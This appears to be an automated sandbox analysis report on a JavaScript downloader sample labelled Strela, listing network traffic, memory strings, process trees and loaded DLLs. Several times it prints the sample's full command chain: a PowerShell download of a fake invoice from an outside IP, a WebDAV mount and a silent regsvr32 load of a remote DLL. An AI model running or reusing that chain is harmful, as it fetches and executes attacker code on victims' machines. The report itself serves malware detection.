62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49722

Source: global traffic

TCP traffic: 192.168.2.7:49722 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49706 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1316204229.0000022DD6E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000008.00000002.1402441349.0000028AB5F78000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1402441349.0000028AB5F71000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1402441349.0000028AB5F9E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1402441349.0000028AB5F48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000008.00000002.1402441349.0000028AB5F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/HA
Source: net.exe, 00000008.00000002.1402441349.0000028AB5F48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 0000000A.00000002.2599221196.0000019DCA200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.9.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 0000000A.00000002.2598337070.0000019DC4C94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ede.W
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.9.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000A.00000003.1398889113.0000019DCA020000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.10.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.6.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2796, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1238420799116328606.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6156:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_twtjh3ge.5ks.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1238420799116328606.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1764,i,8655172441817396170,12315927752644769681,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1764,i,8655172441817396170,12315927752644769681,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
